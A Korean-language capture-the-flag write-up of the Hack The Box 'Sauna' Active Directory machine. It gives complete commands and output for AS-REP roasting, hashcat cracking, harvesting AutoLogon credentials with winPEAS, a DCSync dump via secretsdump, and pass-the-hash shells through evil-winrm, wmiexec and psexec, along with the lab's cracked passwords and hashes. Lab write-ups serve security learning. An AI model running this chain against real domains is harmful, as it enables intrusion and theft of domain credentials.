Sauna

Easy / Windows / Solved Date : 20 Dec 2025

1. 정찰

1.1. nmap scan

nmap 을 통해서 먼저 정찰을 진행한다. 389 번 포트가 서비스 중이며, EGOTISTICAL-BANK.LOCAL0 와 같은 도메인을 확보했다. 특이사항으로는 80 번 포트가 서비스 중이므로 웹 페이지가 존재할 가능성을 염두해두고 있다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# nmap -sC -sV 10.129.95.180
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-19 15:46 +04
Nmap scan report for 10.129.95.180
Host is up (0.19s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-19 19:47:08Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-12-19T19:47:20
|_  start_date: N/A
|_clock-skew: 7h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.32 seconds

1.2. 실패한 정찰

1.2.1. smbmap

smbmap 을 통해 정찰한 결과 아무런 결과가 나오지 않았다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# smbmap -H 10.129.95.180                 

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
[!] Access denied on 10.129.95.180, no fun for you...                                                                        
[*] Closed 1 connections                                                                                                     

1.2.2. smbclient

smbclient 를 통해 익명으로 접근했으나 역시나 아무것도 나오지 않았다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# smbclient -N -L //10.129.95.180         
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.95.180 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

1.2.3. rpcclient

rpcclient 를 통해서 접근했고 enumdomusers 를 통해서 계정 정보들을 확보하려 했으나 접근이 불가능했다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# rpcclient -U "" -N 10.129.95.180                                  
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> 

1.3. 웹 페이지 정찰

웹 페이지 접근 시 about.html 페이지에 스탭들의 명단 정도를 확보할 수 있었다. 이걸 통해서 계정 명을 유추하게 만드는 활동을 할 수 있을 것으로 사료된다.

1.4. 정찰 - 결론

정찰 결과 얻을 수 있는 정보는 nmap에서의 서비스하는 포트 정보와 도메인 정도의 수준이었으나 내부로 침투할만한 효과적인 소스는 존재하지 않았다.

2. 내부망 침투

2.1. username-anarchy 를 통한 ID 정보 생성

1.3에서 스탭들의 이름을 식별했으므로 그걸 바탕으로 계정명을 유추할 수 있는 username-anarchy 를 이용해서 계정 이름이 될만한 것들을 임의로 만들어볼 것이다.

해당 작업을 하기 앞서 names.txt 에다가 스탭들의 이름을 넣는다.

┌──(root㉿kali)-[/home/kali/tools/username-anarchy]
└─# cat names.txt 
Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Sophie Driver
Steven Kerb

그리고 아래와 같은 사용법을 통해 res 파일에다가 결과물을 저장한다.

┌──(root㉿kali)-[/home/kali/tools/username-anarchy]
└─# ./username-anarchy -i names.txt > res

저장된 결과물은 아래와 같이 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/tools/username-anarchy]
└─# cat res      
fergus
fergussmith
fergus.smith
fergussm
fergsmit
ferguss
f.smith
fsmith
sfergus
s.fergus
smithf
smith
smith.f
[...SNIP...]

2.2. GetNPUsers 를 통한 기본적 정보 수집

주어진 정보가 아무것도 없다. 할 수 있는 거라고는 유추 가능한 계정명 밖에 없기 때문에 계정명이 실존하는지 여부를 GetNPUsers 를 통해서 확인해야 한다. 계정명조차 모르면 쓸 수 없지만, “계정명이 res 파일 중에 하나는 있겠지” 라는 생각으로 해당 툴을 사용한다.

앞서 nmap 을 통해서 도메인을 확보했고, 아이디로 추정되는 res 파일을 만들었으므로 해당 내용을 통해 GetNPUsers 로 해쉬를 추출한다. 그러면 fsmith 계정이 실제로 존재하는 것을 확인할 수 있고, 비밀번호에 대한 해쉬값을 받을 수 있다.

                                                                             
┌──(root㉿kali)-[/home/kali/tools/username-anarchy]
└─# impacket-GetNPUsers 'EGOTISTICAL-BANK.LOCAL/' -usersfile res -format hashcat -outputfile hash -dc-ip 10.129.95.180
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:8a343a567b5abfec0ed2c30f0096275d$88ab9634f96bec988c120f72af675d619962fabf113f94823f708031eb029589186c30859d3859c82face0060f7fac4d9e406f69892ce696129f3d50bb65443b12dd80ea764cb644eb69e1ebfc7141a5d177914c36fbcf2dad8e83d8746addba0b2e5b7b6546e91bae3d67794265d3837877b142b637016426e2cbd20e2756b10c5f58c559aaff101eb1d1ebb09716353d777abf28364723b724f2b5e02a870121a25aedf2fd909c3045229cd9b7975fc1633e582240f2f28675ac83985ea183c711d1e1a4e83ab184f1980524048dc5b9732c26b0c5b4f80743f789a9259f291421349cfe9cbb28a49a9eb7895c6ae56cbceb800be004b351508c613524204d
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[...SNIP...]

그리고 hashcat 을 통해 18200 모듈로 복호화를 하면 아래와 같이 비밀번호를 추출할 수 있다. 추출한 비밀번호는 Thestrokes23 이다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:8a343a567b5abfec0ed2c30f0096275d$88ab9634f96bec988c120f72af675d619962fabf113f94823f708031eb029589186c30859d3859c82face0060f7fac4d9e406f69892ce696129f3d50bb65443b12dd80ea764cb644eb69e1ebfc7141a5d177914c36fbcf2dad8e83d8746addba0b2e5b7b6546e91bae3d67794265d3837877b142b637016426e2cbd20e2756b10c5f58c559aaff101eb1d1ebb09716353d777abf28364723b724f2b5e02a870121a25aedf2fd909c3045229cd9b7975fc1633e582240f2f28675ac83985ea183c711d1e1a4e83ab184f1980524048dc5b9732c26b0c5b4f80743f789a9259f291421349cfe9cbb28a49a9eb7895c6ae56cbceb800be004b351508c613524204d' > hash

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

[...SNIP...]

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:8a343a567b5abfec0ed2c30f0096275d$88ab9634f96bec988c120f72af675d619962fabf113f94823f708031eb029589186c30859d3859c82face0060f7fac4d9e406f69892ce696129f3d50bb65443b12dd80ea764cb644eb69e1ebfc7141a5d177914c36fbcf2dad8e83d8746addba0b2e5b7b6546e91bae3d67794265d3837877b142b637016426e2cbd20e2756b10c5f58c559aaff101eb1d1ebb09716353d777abf28364723b724f2b5e02a870121a25aedf2fd909c3045229cd9b7975fc1633e582240f2f28675ac83985ea183c711d1e1a4e83ab184f1980524048dc5b9732c26b0c5b4f80743f789a9259f291421349cfe9cbb28a49a9eb7895c6ae56cbceb800be004b351508c613524204d:Thestrokes23
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:8a343a5...24204d

[...SNIP...]

2.4. evil-winrm 을 통한 user.txt 획득

추출한 비밀번호를 nxc 를 통해 winrm 으로 돌려봤을 때 접속이 가능한 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# nxc winrm 10.129.95.180 -u fsmith -p Thestrokes23 
WINRM       10.129.95.180   5985   SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.95.180   5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

evil-winrm 으로 접근해서 쉘을 확인할 수 있었고, user.txt 를 Desktop 경로에서 찾아 normal 유저에 대한 flag를 획득할 수 있었다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                     
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> 

3. 수평이동

3.1. winPEAS 를 이용한 취약점 식별

winPEAS 는 시스템 권한 상승을 위해 자동으로 취약점을 찾아주는 도구이다. kali 에는 기본적으로 존재하며 로컬에 놓았다가 evil-winrm 을 통해서 업로드를 진행한다.

*Evil-WinRM* PS C:\Users\FSmith\Desktop> upload winPEASx64.exe
                                        
Info: Uploading /home/kali/labs/sauna/sauna-2/winPEASx64.exe to C:\Users\FSmith\Desktop\winPEASx64.exe                                                    
                                        
Data: 13525672 bytes of 13525672 bytes copied
                                        
Info: Upload successful!

winPEAS 를 실행시키고, winPEASfast 라는 파일로 만들어 준다.

*Evil-WinRM* PS C:\Users\FSmith\Desktop> .\winPEASx64.exe cmd fast > winPEASfast

파일이 정상적으로 실행되고 나면 아래와 같이 winPEASfast 파일이 만들어 진다. 이거를 다시 kali 로 다운로드를 진행한다.

*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---       12/19/2025   7:25 AM             34 user.txt
-a----       12/19/2025  11:25 AM         243320 winPEASfast
-a----       12/19/2025  11:24 AM       10144256 winPEASx64.exe

*Evil-WinRM* PS C:\Users\FSmith\Desktop> download winPEASfast
                                        
Info: Downloading C:\Users\FSmith\Desktop\winPEASfast to winPEASfast
                                        
Info: Download successful!

3.2. svc_loanmgr 크리덴셜 습득

winPEAS 를 통해 만들어진 파일은 바이너리 파일이기 때문에 strings 를 통해서 문자열을 검색한다. 우리의 경우 계정의 크리덴셜이 노출되는지 여부를 확인하고 싶었으므로 Password 와 관련된 키워드로 검색을 진행한다. 그리고 누군가의 패스워드가 노출되는 것을 확인할 수 있었다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# strings -e l winpeas_fast | grep "Pass" 

[1;32mEnumerating saved credentials in Registry (CurrentPass)
    LimitBlankPasswordUse                :       1
   Password Last Set       :   7/26/2021 8:16:16 AM
   Password Last Set       :   1/1/1970 12:00:00 AM
   Password Last Set       :   1/22/2020 9:45:30 PM
   Password Last Set       :   1/22/2020 9:54:34 PM
   Password Last Set       :   1/23/2020 8:45:19 AM
   Password Last Set       :   1/24/2020 3:48:31 PM
    DefaultPassword               :  Moneymakestheworldgoround!
[1;32mPassword Policies
[1;37m    MaxPasswordAge: 
[1;37m    MinPasswordAge: 
[1;37m    MinPasswordLength: 
[1;37m    PasswordHistoryLength: 
[1;37m    PasswordProperties: 
[1;37m    MaxPasswordAge: 
[1;37m    MinPasswordAge: 
[1;37m    MinPasswordLength: 
[1;37m    PasswordHistoryLength: 
[1;37m    PasswordProperties: 

해당 패스워드는 svc_loanmanager 계정으로 보이는 것의 패스워드였다.

������������ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

evil-winrm 을 통해 net user 검색했을 때 svc_loanmanager 계정은 나오지 않았다. 하지만 svc_loanmgr 이라는 계정을 통해서 해당 계정임을 유추해볼 수 있다.

*Evil-WinRM* PS C:\Users\FSmith\Desktop> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr
The command completed with one or more errors.

최종적으로 정상 로그인이 되는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# evil-winrm -i 10.129.95.180 -u svc_loanmgr -p Moneymakestheworldgoround!
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> 

4. 권한 상승

4.1. BloodHound 이용 데이터 추출

SharpHound.exe 를 Windows 에 업로드한 후, 실행시켜서 데이터를 추출한다.

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> upload SharpHound.exe
                                        
Info: Uploading /home/kali/labs/sauna/sauna-2/SharpHound.exe to C:\Users\svc_loanmgr\Documents\SharpHound.exe
                                        
Data: 1753768 bytes of 1753768 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> .\SharpHound.exe
2025-12-20T06:55:31.7495268-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-12-20T06:55:31.9057773-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices, LdapServices, WebClientService, SmbInfo
[...SNIP...]

이후 데이터를 kali 로 다운 받아서 BloodHound 로 업로드 해서 도메인별로 관계도를 도식화 시킨다.

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> dir


    Directory: C:\Users\svc_loanmgr\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/20/2025   6:55 AM          27468 20251220065534_BloodHound.zip
-a----       12/20/2025   6:55 AM        1315328 SharpHound.exe
-a----       12/20/2025   6:54 AM        1615053 SharpHound.ps1
-a----       12/20/2025   6:55 AM           1308 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItYTM2OWVmMjc5NDVk.bin


*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> download 20251220065534_BloodHound.zip
                                        
Info: Downloading C:\Users\svc_loanmgr\Documents\20251220065534_BloodHound.zip to 20251220065534_BloodHound.zip
                                        
Info: Download successful!

4.2. BloodHound 를 통한 도메인 도식화

svc_loanmgr 에서 administrator 를 가기 위해 도메인을 도식화해서 확인한다. 그 결과 EGOTISTICAL-BANK.LOCAL 도메인에게 DCSync 가 가능함을 확인할 수 있다.

4.3. secretsdump 를 통한 DCSync 공격

대표적인 DCSync 공격 툴인 Impacket-secretsdump 를 통해서 svc_loanmgr 계정을 통해 공격을 진행하면 아래와 같이 Administrator 계정의 해쉬값이 추출되는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# impacket-secretsdump 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:f65d9d2c298020c766457e7a733cb021:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:9b98a8a47b8db7e81b8c5d2d2634248bb9d8bc3c5d4b7a5f3597cc6635592aa9
SAUNA$:aes128-cts-hmac-sha1-96:8253c1a93d3f0e268b47020e080d8cbd
SAUNA$:des-cbc-md5:104c515b86739e08
[*] Cleaning up... 

4.4. PtH 를 통한 administrator 로그인 성공

4.4.1. evil-winrm 을 통한 로그인

evil-winrm 은 PtH 에 대한 접근을 허락하므로 해쉬값을 가지고 로그인을 진행했고, 성공한 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# evil-winrm -i 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator

4.4.2. wmiexec

impacket-wmiexec 는 Windows 의 wmi 기능을 이용해서 원격으로 명령을 실항하는 도구이다. Windows의 내장 기능이기 때문에 상대방 컴퓨터에 아무런 파일을 설치하지 않기 때문에 AV의 탐지율이 낮아서 공격 성공률이 높다. 그리고 PtH 까지 지원한다. 135/445 포트를 사용할 때 사용 가능하다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# impacket-wmiexec -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' -dc-ip 10.129.95.180 administrator@10.129.95.180
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
egotisticalbank\administrator

C:\>

4.4.3. psexec

psexec 는 Windows 의 SYSTEM 권한을 얻기 위해 사용한다. 하지만 페이로드를 전송하는 과정에서 상대방 컴퓨터에 프로그램을 설치하는 과정이 존재해서 AV의 탐지가 될 수 있다.

아래의 실행 결과를 보면 권한이 SYSTEM 이며, KTVMUzhT.exe 파일을 중간에 업로드 하는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/sauna/sauna-2]
└─# impacket-psexec -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' -dc-ip 10.129.95.180 administrator@10.129.95.180
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.129.95.180.....
[*] Found writable share ADMIN$
[*] Uploading file KTVMUzhT.exe
[*] Opening SVCManager on 10.129.95.180.....
[*] Creating service DuNB on 10.129.95.180.....
[*] Starting service DuNB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> 
Updated on